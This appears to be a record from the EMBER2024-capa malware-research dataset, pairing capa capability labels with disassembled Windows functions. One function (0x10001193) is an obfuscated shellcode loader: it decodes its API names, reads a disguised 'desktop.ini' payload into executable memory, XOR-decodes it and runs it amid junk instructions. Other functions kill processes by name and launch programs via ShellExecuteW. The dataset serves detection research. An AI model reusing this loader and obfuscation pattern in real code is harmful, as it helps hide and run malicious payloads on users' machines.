joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e1a40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
lea eax, [ebp + 8]
call fcn.0040b4a8
xor eax, eax
push ebp
push 0x4e1b57
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 1
mov bl, 1
cmp dword [esi], 0xffffffff
jne 0x4e1aaf
push 0x64
call sub.kernel32.dll_Sleep
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea edx, [ebp - 0x10]
mov eax, dword [ebp + 8]
call fcn.00431fc8
mov eax, dword [ebp - 0x10]
call fcn.0040bff0
push eax
call sub.kernel32.dll_CreateFileW
mov dword [esi], eax
jmp 0x4e1b24
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
mov eax, dword [esi]
push eax
call sub.kernel32.dll_SetFilePointerEx
test al, al
je 0x4e1ae8
push 0
lea eax, [ebp - 0xc]
push eax
push edi
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_WriteFile
test eax, eax
je 0x4e1ae8
cmp edi, dword [ebp - 0xc]
je 0x4e1b32
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle
push 0x64
call sub.kernel32.dll_Sleep
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea edx, [ebp - 0x14]
mov eax, dword [ebp + 8]
call fcn.00431fc8
mov eax, dword [ebp - 0x14]
call fcn.0040bff0
push eax
call sub.kernel32.dll_CreateFileW
mov dword [esi], eax
inc ebx
cmp bl, 0xb
jne 0x4e1a74
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e1b5e
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0040b464
lea eax, [ebp + 8]
call fcn.0040b3dc
pop eax
jmp eax
Function at 0x4e1ce0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
lea eax, [ebp + 8]
call fcn.0040b4a8
xor eax, eax
push ebp
push 0x4e1df7
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 1
mov bl, 1
cmp dword [esi], 0xffffffff
jne 0x4e1d4f
push 0x64
call sub.kernel32.dll_Sleep
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea edx, [ebp - 0x10]
mov eax, dword [ebp + 8]
call fcn.00431fc8
mov eax, dword [ebp - 0x10]
call fcn.0040bff0
push eax
call sub.kernel32.dll_CreateFileW
mov dword [esi], eax
jmp 0x4e1dc4
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
mov eax, dword [esi]
push eax
call sub.kernel32.dll_SetFilePointerEx
test al, al
je 0x4e1d88
push 0
lea eax, [ebp - 0xc]
push eax
push edi
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x4e1d88
cmp edi, dword [ebp - 0xc]
je 0x4e1dd2
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle
push 0x64
call sub.kernel32.dll_Sleep
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea edx, [ebp - 0x14]
mov eax, dword [ebp + 8]
call fcn.00431fc8
mov eax, dword [ebp - 0x14]
call fcn.0040bff0
push eax
call sub.kernel32.dll_CreateFileW
mov dword [esi], eax
inc ebx
cmp bl, 0xb
jne 0x4e1d14
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e1dfe
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0040b464
lea eax, [ebp + 8]
call fcn.0040b3dc
pop eax
jmp eax
Function at 0x4e20a0
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4e20a9
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
call fcn.0040b4a8
lea eax, [ebp - 8]
call fcn.0040b4a8
xor eax, eax
push ebp
push 0x4e21fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
cmp edi, 0xffffffff
jne 0x4e211a
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040c078
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.00431fc8
mov eax, dword [ebp - 0xc]
call fcn.0040bff0
push eax
call sub.kernel32.dll_GetFileAttributesW
mov edi, eax
cmp edi, 0xffffffff
jne 0x4e211a
mov edi, 0x80
mov eax, 1
and eax, edi
cmp eax, 1
jne 0x4e219c
and edi, 0xfffffffe
test edi, edi
jne 0x4e2132
mov edi, 0x80
push edi
lea eax, [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040c078
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00431fc8
mov eax, dword [ebp - 0x14]
call fcn.0040bff0
push eax
call sub.kernel32.dll_SetFileAttributesW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040c078
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.00431fc8
mov eax, dword [ebp - 0x1c]
call fcn.0040bff0
push eax
call sub.kernel32.dll_CreateFileW
mov dword [esi], eax
cmp dword [esi], 0xffffffff
jne 0x4e21de
jmp 0x4e21dc
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040c078
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x24]
call fcn.00431fc8
mov eax, dword [ebp - 0x24]
call fcn.0040bff0
push eax
call sub.kernel32.dll_CreateFileW
mov dword [esi], eax
cmp dword [esi], 0xffffffff
jne 0x4e21de
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e2202
lea eax, [ebp - 0x28]
mov edx, 0xa
call fcn.0040b464
pop eax
jmp eax
Function at 0x4e75f4
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9a4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [0x431790]
call fcn.0040e788
mov eax, dword [ebp - 8]
mov edx, dword [0x431790]
call fcn.0040e788
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x4e76f7
xor edx, edx
push ebp
push 0x4e76e4
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x65c]
push eax
push 0
push 0
push 0x4004747f
mov eax, dword [ebp - 0xc]
push eax
call sub.WS2_32.DLL_WSAIoctl
inc eax
je 0x4e76da
mov eax, dword [ebp - 0x10]
mov ecx, 0x4c
cdq
idiv ecx
mov esi, eax
dec esi
test esi, esi
jl 0x4e76da
inc esi
lea edi, [ebp - 0x658]
push esi
push edi
mov esi, edi
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
cmp dword [ebp - 0x1c], 0x100007f
je 0x4e76d4
movzx eax, byte [ebp - 0x1a]
push eax
movzx eax, byte [ebp - 0x19]
push eax
mov eax, dword [ebp - 4]
movzx ecx, byte [ebp - 0x1b]
movzx ebx, byte [ebp - 0x1c]
mov edx, ebx
call fcn.00431ba0
movzx eax, byte [ebp - 0x1a]
push eax
movzx eax, byte [ebp - 0x19]
push eax
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp - 0x1b]
mov edx, ebx
call fcn.00431ba0
add edi, 0x4c
dec esi
jne 0x4e768a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e76ee
mov eax, dword [ebp - 0xc]
push eax
call sub.wsock32.dll_closesocket
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e8628
Capabilities:
Initialize winsock library

Disassembly:
mov eax, dword [0x4f8d38]
add eax, 0xa0
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
je 0x4e864d
mov eax, dword [0x4f8d38]
mov byte [eax + 0x88], 1
ret

Function at 0x4e9248
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor edx, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.0040b4a8
xor eax, eax
push ebp
push 0x4e92df
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0xc], 0xffffffff
mov bl, 0xa
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.004e90c0
mov eax, dword [ebp - 0x2c]
call fcn.0040bff0
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExW
test eax, eax
je 0x4e92b4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
jmp 0x4e92bf
push 0x64
call sub.kernel32.dll_Sleep
dec bl
jne 0x4e927d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e92e6
lea eax, [ebp - 0x2c]
call fcn.0040b3dc
lea eax, [ebp - 4]
call fcn.0040b3dc
pop eax
jmp eax
Function at 0x4e9a00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x4c
push 0
push 0
dec ecx
jne 0x4e9a08
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4e9c21
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 2
call fcn.004dd76c
mov dword [ebp - 8], eax
mov dword [ebp - 0x234], 0x22c
lea edx, [ebp - 0x234]
mov eax, dword [ebp - 8]
call fcn.004dd78c
mov dword [ebp - 4], eax
jmp 0x4e9ba8
mov eax, dword [0x4f8d38]
mov eax, dword [eax + 0x20]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x4e9b97
inc esi
xor ebx, ebx
lea ecx, [ebp - 0x240]
mov eax, dword [0x4f8d38]
mov eax, dword [eax + 0x20]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x240]
lea eax, [ebp - 0x23c]
call fcn.0040c34c
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.00422248
mov eax, dword [ebp - 0x238]
push eax
lea eax, [ebp - 0x248]
lea edx, [ebp - 0x210]
mov ecx, 0x104
call fcn.0040bfb4
mov eax, dword [ebp - 0x248]
lea edx, [ebp - 0x244]
call fcn.00422248
mov edx, dword [ebp - 0x244]
pop eax
call fcn.0040c1c0
je 0x4e9b77
lea ecx, [ebp - 0x254]
mov eax, dword [0x4f8d38]
mov eax, dword [eax + 0x20]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x254]
lea eax, [ebp - 0x250]
call fcn.0040c34c
mov eax, dword [ebp - 0x250]
lea edx, [ebp - 0x24c]
call fcn.00422248
mov eax, dword [ebp - 0x24c]
push eax
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x210]
mov ecx, 0x104
call fcn.0040c2fc
mov eax, dword [ebp - 0x264]
lea edx, [ebp - 0x260]
call fcn.00423288
mov edx, dword [ebp - 0x260]
lea eax, [ebp - 0x25c]
call fcn.0040c34c
mov eax, dword [ebp - 0x25c]
lea edx, [ebp - 0x258]
call fcn.00422248
mov edx, dword [ebp - 0x258]
pop eax
call fcn.0040c1c0
jne 0x4e9b8f
push 0
mov eax, dword [ebp - 0x22c]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
inc ebx
dec esi
jne 0x4e9a6b
lea edx, [ebp - 0x234]
mov eax, dword [ebp - 8]
call fcn.004dd7ac
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4e9a50
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e9c28
lea eax, [ebp - 0x264]
mov edx, 2
call fcn.0040b3f4
lea eax, [ebp - 0x25c]
mov edx, 2
call fcn.0040b464
lea eax, [ebp - 0x254]
call fcn.0040b394
lea eax, [ebp - 0x250]
mov edx, 4
call fcn.0040b464
lea eax, [ebp - 0x240]
call fcn.0040b394
lea eax, [ebp - 0x23c]
mov edx, 2
call fcn.0040b464
pop eax
jmp eax
Function at 0x4ea008
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4ea13d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 4], eax
mov eax, dword [0x4f8d38]
cmp byte [eax + 0x90], 0
je 0x4ea049
xor edx, edx
mov eax, 0x4ea158
call fcn.004dde34
mov dword [ebp - 4], 5
mov eax, dword [0x4f8d38]
mov eax, dword [eax + 0x34]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x4ea0fc
inc esi
xor ebx, ebx
mov eax, dword [0x4f8d38]
cmp byte [eax + 0x90], 0
je 0x4ea0a8
push 0x4ea198
lea ecx, [ebp - 0xc]
mov eax, dword [0x4f8d38]
mov eax, dword [eax + 0x34]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0xc]
push 0x4ea1d0
lea eax, [ebp - 8]
mov edx, 3
call fcn.0040c534
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.004dde34
mov eax, dword [ebp - 4]
push eax
push 0
push 0x4ea1e0
lea ecx, [ebp - 0x14]
mov eax, dword [0x4f8d38]
mov eax, dword [eax + 0x34]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x14]
push 0x4ea1d0
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.0040c534
mov eax, dword [ebp - 0x10]
call fcn.0040c25c
push eax
push 0x4ea1ec
push 0x4ea1f4
push 0
call sub.shell32.dll_ShellExecuteW
inc ebx
dec esi
jne 0x4ea064
mov eax, dword [0x4f8d38]
cmp byte [eax + 0x90], 0
je 0x4ea116
xor edx, edx
mov eax, 0x4ea20c
call fcn.004dde34
push 0x4e20
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ea144
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.0040b3f4
pop eax
jmp eax
Function at 0x433dda
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00433e59
jae 0x433de6
xor ecx, ecx
call fcn.00433e59
jae 0x433e10
xor eax, eax
call fcn.00433e59
jae 0x433e21
mov al, 0x10
call fcn.00433e59
adc al, al
jae 0x433e02
jne 0x433e4e
stosb byte es:[edi], al
jmp 0x433de7
call fcn.00433e65
dec ecx
loop 0x433e2d
mov eax, ebp
call fcn.00433e63
jmp 0x433e4f
lodsb al, byte [esi]
shr eax, 1
je 0x433e75
adc ecx, 2
mov ebp, eax
jmp 0x433e4f
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00433e63
cmp eax, 0x7d00
jae 0x433e4d
cmp eax, 0x500
jae 0x433e4e
cmp eax, 0x7f
ja 0x433e4f
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x433de7
pop ebp
ret 8
Function at 0x4017c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x404004]
jne 0x4017ce
repz ret
jmp fcn.00401b99

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4012a0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x46053c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44a2b0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4012e5
push esi
push str.SetDefaultDllDirectories
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4012e4
push 0xc00
mov ecx, esi
call dword [0x44955c]
call esi
pop esi
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00428c30
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec eax
cmp eax, 0x102
ja 0x401322
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x44a2e8
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00427b1a
leave
ret

Function at 0x40275a
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 4
push ebx
push ebx
push 0x44a754
call fcn.004166b0
mov dword [esi + 0xc], eax
mov dword [eax + 0x44], 0x3f1
mov eax, dword [esi + 0xc]
push dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, ebx
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x4027a4
cmp dword [ecx + 0x20], ebx
je 0x4027a6
mov eax, dword [ecx + 0x20]
mov dword [esi + 0x10], eax
mov eax, dword [ecx + 0x2c]
pop edi
mov dword [esi + 0x14], eax
pop esi
pop ebx
ret
mov ecx, ebx
cmp edi, 0x14
jge 0x402794
push 0x64
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402788
Function at 0x402a63
Capabilities:
Get file version info

Disassembly:
push 0x40
mov eax, 0x4468d7
call fcn.00427f9e
mov dword [ebp - 0x4c], ecx
lea eax, [ebp - 0x38]
mov dword [ebp - 4], 1
push eax
push dword [ebp + 0xc]
xor edi, edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x40], edi
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
push esi
call fcn.0040e7a2
pop ecx
mov ebx, eax
push ebx
push esi
push dword [ebp - 0x38]
push dword [ebp + 0xc]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
jne 0x402ad4
push dword [ebp + 0xc]
push str.Unable_to_get__s_file_version._n
push 0x461d14
call fcn.00401600
add esp, 0xc
mov ecx, 0x461c48
call fcn.0040c3c8
push ebx
call fcn.0040e79d
pop ecx
jmp 0x402ba1
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], edi
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
push 0x44a904
push ebx
call sub.VERSION.dll_VerQueryValueW
mov ecx, dword [ebp - 0x3c]
push ebx
movzx eax, word [ecx + 0xa]
mov dword [ebp - 0x20], eax
movzx eax, word [ecx + 8]
mov dword [ebp - 0x1c], eax
movzx eax, word [ecx + 0xe]
mov dword [ebp - 0x18], eax
movzx eax, word [ecx + 0xc]
mov dword [ebp - 0x14], eax
call fcn.0040e79d
pop ecx
lea eax, [ebp - 0x40]
mov edi, 0x44ac90
push eax
push edi
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp + 8]
call fcn.00403087
mov byte [ebp - 4], 2
lea esi, [ebp - 0x30]
push 0x44a2e8
push dword [ebp - 0x34]
call fcn.0042f264
pop ecx
pop ecx
test eax, eax
je 0x402b80
push dword [ebp - 0x34]
call fcn.0042f107
pop ecx
mov dword [esi], eax
lea ecx, [ebp + 8]
lea eax, [ebp - 0x40]
push eax
push edi
lea eax, [ebp - 0x48]
push eax
call fcn.00403087
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call fcn.0040138a
mov ecx, dword [ebp - 0x48]
mov byte [ebp - 4], 2
lea ecx, [ecx - 0x10]
call fcn.004017a5
add esi, 4
jmp 0x402b30
mov ecx, dword [ebp - 0x34]
lea ecx, [ecx - 0x10]
call fcn.004017a5
mov ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00402580
neg eax
sbb edi, edi
neg edi
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004017a5
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.004017a5
mov eax, edi
call fcn.00427f48
ret 8
Function at 0x40334f
Capabilities:
Identify system language via api

Disassembly:
push 0x68
mov eax, 0x446a43
call fcn.00427f9e
mov dword [ebp - 0x74], ecx
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x6c], ebx
call fcn.0040e19e
push eax
lea ecx, [ebp - 0x68]
call fcn.00401339
push dword [ebx]
and dword [ebp - 4], 0
call fcn.0042f107
pop ecx
mov ecx, 0x461c48
mov ebx, eax
call fcn.00409f41
push ebx
mov ecx, 0x461c48
movzx esi, ax
call fcn.0040c164
test eax, eax
je 0x4033eb
mov ebx, dword [ebp - 0x6c]
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebx]
sub eax, 0x10
push eax
call fcn.004013f4
add eax, 0x10
pop ecx
mov dword [esi], eax
mov ecx, 0x461c48
lea eax, [ebp - 0x64]
push eax
call fcn.0040aa31
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 1
call fcn.0040138a
mov ecx, dword [ebp - 0x64]
mov byte [ebp - 4], 0
lea ecx, [ecx - 0x10]
call fcn.004017a5
jmp 0x4034fe
movzx ecx, bx
mov edx, 0x3ff
mov eax, ecx
mov dword [ebp - 0x64], 4
and eax, edx
cmp ax, word [ebp - 0x64]
jne 0x403457
mov eax, esi
and eax, edx
cmp ax, word [ebp - 0x64]
jne 0x403457
shr cx, 0xa
and esi, 0xfc00
movzx eax, cx
mov ecx, 0x800
cmp si, cx
jne 0x403431
mov esi, 0x44afe8
mov ecx, 0x44aff8
jmp 0x40343b
mov esi, 0x44b008
mov ecx, 0x44b018
cmp eax, 2
cmovne esi, ecx
push esi
call fcn.0042c48c
pop ecx
push eax
push esi
lea ecx, [ebp - 0x68]
call fcn.00401822
jmp 0x4034fb
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x4034fb
lea eax, [ebp - 0x64]
push eax
push 0x4536dc
push 0x17
push 0
push 0x4536ec
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4034f5
push 0x50
lea eax, [ebp - 0x60]
push 0
push eax
call fcn.00428c30
mov eax, dword [ebp - 0x64]
add esp, 0xc
mov esi, dword [eax]
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, dword [esi + 0x40]
movzx eax, ax
push eax
push ebx
push dword [ebp - 0x64]
call dword [0x44955c]
call dword [esi + 0x40]
test eax, eax
js 0x4034e2
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x70]
call fcn.004018b9
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 2
call fcn.0040138a
mov ecx, dword [ebp - 0x70]
mov byte [ebp - 4], 0
lea ecx, [ecx - 0x10]
call fcn.004017a5
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x44955c]
call esi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ebx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x68]
cmp dword [esi - 0xc], 0
jne 0x403516
mov ecx, dword [ebp - 0x74]
push ebx
push edi
call fcn.004032d1
lea ecx, [esi - 0x10]
jmp 0x403527
add esi, 0xfffffff0
push esi
call fcn.004013f4
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.004017a5
mov eax, edi
call fcn.00427f48
ret 8